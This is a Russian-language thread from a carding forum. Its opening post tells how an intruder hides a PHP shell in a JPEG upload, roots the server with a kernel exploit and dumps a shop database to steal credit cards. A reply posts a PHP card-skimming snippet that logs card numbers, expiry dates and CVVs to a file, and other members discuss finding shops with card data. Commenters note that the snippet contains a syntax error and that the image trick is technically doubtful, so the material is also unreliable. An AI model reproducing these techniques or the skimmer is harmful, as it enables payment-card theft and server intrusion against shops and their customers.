Взлом китайского шопа

Pra(KillaGramm) · Jan 28, 2012

Привет всем! Пришло в голову в голову взломать китайский шоп.

28 Января 22:40

Этот взлом планировался не один день; обычный китайский онлайн шоп, таких полно в Интернете (даже очень много, стоит только поискать

) Ежедневно тысячи пользователей проходили через этот сайт. "Да ты понимаешь сколько здесь картона!? - Со сильной злостью орал Саша, кинув пачку сигарет в монитор....". Надо было срочно взять себя в руки, а то все провалиться.
Сначала Саша пытался найти уязвимость на самом сайте, все безуспешно, он пытался загрузить шелл как картинку, но все безуспешно.

Забросив это дело он начал искать админку сайту, Red сразу начал проверять адреса сайта:

www.********.com/admin
www.********.com/admin.php
www.********.com/control_panel

...Ждало очень сильное разочарование — «Error 404», таких страниц не существовало.
Тогда можно попробовать найти админ-панель через Google:

site:www.********.com

Но все безуспешно, тогда Саша решил исследовать сайт на наличие SQL Injection - результат был никаким...

Может тогда стоит воспользоваться инструментом madnet'a «Google madnet Scaner», и просканировать ресурс. Скрипт определил, что на сервере находится еще один сайт - *********.ch. Наверно это площадка одного из админом, где он учиться web-программированию.
Погуляв по страницам сайта, Саша нашел форму для регистрации.
Создав новый аккаунт, взломщик заметил, что есть возможность заливать фотографии на сервер.

«Хмммммм… а что если возможно выполнить php код?». Red быстро переименовал

shell.php на shell.php.jpg.

Парень уже начал радоваться, но в последний момент сайт выдал ошибку. Саша хотел уже оставить идею с картинкой, но решил попробовать еще один способ.
Открыв картинку в программе WinHex и перейдя в конец файла, он нашел значения «FF D9» и затер их нулями. После этого он вставил
свой php код в конец файла в формате ascii, а значения FF D9 добавил после кода. Залив картинку на сайт, скрипт заработал.
Шелл был доступен по адресу:

www.*********.ch/images/fw3sd325.php.jpg

Так теперь стоит получить root на сервере, чтоб слить базу, а не смотреть на домашние фотки админа.

kioshi@localhost ~$: id

uid=10(kioshi) gid=10(kioshi) groups=10(kioshi) context=unconfined_u:system_r:hotplug_t:s0-s0:c0.c1023

kioshi@localhost ~$: uname -a

Так значить на хостинге крутиться очень старая версия ядра Linux 2.6.30, эксплоит найти не будет проблемой.

Залив эксплоит на сервер, Саша начал его компилировать:

kioshi@localhost ~$: gcc –sploit exploit.c

Так root мой, сейчас у меня есть доступ к главному сайтому.

root@localhost ~$: cat /usr/local/apache/conf/httpd.conf

Так, теперь я знаю где находить веб папка, пора сделать дамп базы.

root@localhost ~$: mysqldump -u root -p -f shop_ch > /etc/cc.txt

Слив базу себе на компьютер, Саша был уже уверен у него теперь очень много кредиток. Закрыв все окна, Red решил посмотреть на часы. Было 05:34. Пора было идти спать.

(c) Pra(KillaGramm) for carder.market

Сумрак · Jan 28, 2012

одному мне кажется что тут нет логического окончания?

Otto · Jan 28, 2012

Сумрак, ТС умер, не успев дописать или что?

pup0k · Jan 28, 2012

За последнии пару суток посмотрел примерно 50-70 китай шопов, в 90% из них оплата идет через палку, СС там искать не стоит -) У остальных оплата СС, но опять же, те что принимают СС чаще всего унылы. Дай бог там в месяц 1 покупатель. Ну и конечно попадаются норм шопы, так что статья чиста для набива репы. Реально найти такой шоп новичку не реал. Я зарегался 4 января вроде, пока заново вникал в тему и т.д. и .т.п. Вообщем у меня на поиск дрявого шопа с картоном ушло порядка 3х недель. А так дрявых шопов много, =) только я вот не найду толковую статью по внедрению своего пхп кода, что б красть СС -) есть пару сладких магазов у меня, с еще более сладким картоном, в базах его нет, а пхп я не знаю.

Pra(KillaGramm) · Jan 28, 2012

<?
$EXP = $_POST['exp'];
$ID = $_POST['id'];
$CVV = $_POST['cvv']
$log = fopen("baza.php","a+");
fwrite($log,"<br> $EXP:$ID$CVV \n");
fclose($log);
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://'></head></html>";
?>

---------- Сообщение добавлено в 09:04 PM ---------- Предыдущее сообщение размещено в 09:04 PM ----------

Вот примерный код

pup0k · Jan 28, 2012

Pra(KillaGramm) said:
<?
$EXP = $_POST['exp'];
$ID = $_POST['id'];
$CVV = $_POST['cvv']
$log = fopen("baza.php","a+");
fwrite($log,"<br> $EXP:$ID$CVV \n");
fclose($log);
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://'></head></html>";
?>

---------- Сообщение добавлено в 09:04 PM ---------- Предыдущее сообщение размещено в 09:04 PM ----------

Вот примерный код

Отлично, если б ты еще объяснил что означает каждая строка, было б вообще шикарно -) И откуда мне потом забирать это СС ?

Pra(KillaGramm) · Jan 28, 2012

жаба есть?

pup0k · Jan 28, 2012

С тобой общаться отказываюсь -) влепил мне минус, а статью тупо переделал из другой -) Что кста подтверждает мои слова, что таких шопов 1 на 1000 -)
Вбиваем в гугль "Этот взлом планировался не один день" и смотрим разные вариации этой статьи.

McGrath · May 12, 2012

Да вы с ума посходили.
Как JPG файл будет интерпретироваться PHP? Что за сказки?
90% сайтов допускают залить .jpg файл, и ничего, не залили же шелл ещё.
Видимо Вебмастер редкостный идиот, что добавил в .htaccess

AddType application/x-httpd-php .jpg

И кстате, мог последние байты не затирать. PHP чекает по заголовку файлу:
0xFF, 0xD8 и 0xFF, 0xC0. Могу ошибатся на счет цифр, не смотрел в точности.
После данных байтов можно записывать твой PHP код, и уже через LFI юзать багу, но не как ты описал.

h0d3 · May 12, 2012

Pra(KillaGramm) said:
<?
$EXP = $_POST['exp'];
$ID = $_POST['id'];
$CVV = $_POST['cvv']
$log = fopen("baza.php","a+");
fwrite($log,"<br> $EXP:$ID$CVV \n");
fclose($log);
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://'></head></html>";
?>

---------- Сообщение добавлено в 09:04 PM ---------- Предыдущее сообщение размещено в 09:04 PM ----------

Вот примерный код

Как он у тебя работает?

Code:

$CVV = $_POST['cvv']

yaderbiker · May 12, 2012

h0d3 said:
Как он у тебя работает?

Code:

$CVV = $_POST['cvv']

написано же у него, код примерный. тс мозгоеб пропащий

Al'Capone · Jul 29, 2012

yaderbiker said:
тс мозгоеб пропащий

не пишите так. он в январе говорил. попал в аварию. что в больнице. все хуева. и больше тут не появлялся. конечно надеюсь на лучшее.
пракила отличный мужик,

Взлом китайского шопа

Pra(KillaGramm)

Member

Сумрак

VIP member

Otto

VIP member

pup0k

Carder

Pra(KillaGramm)

Member

pup0k

Carder

Pra(KillaGramm)

Member

pup0k

Carder

McGrath

Moderator

h0d3

BANNED

yaderbiker

Professional

Al'Capone

VIP member

Similar threads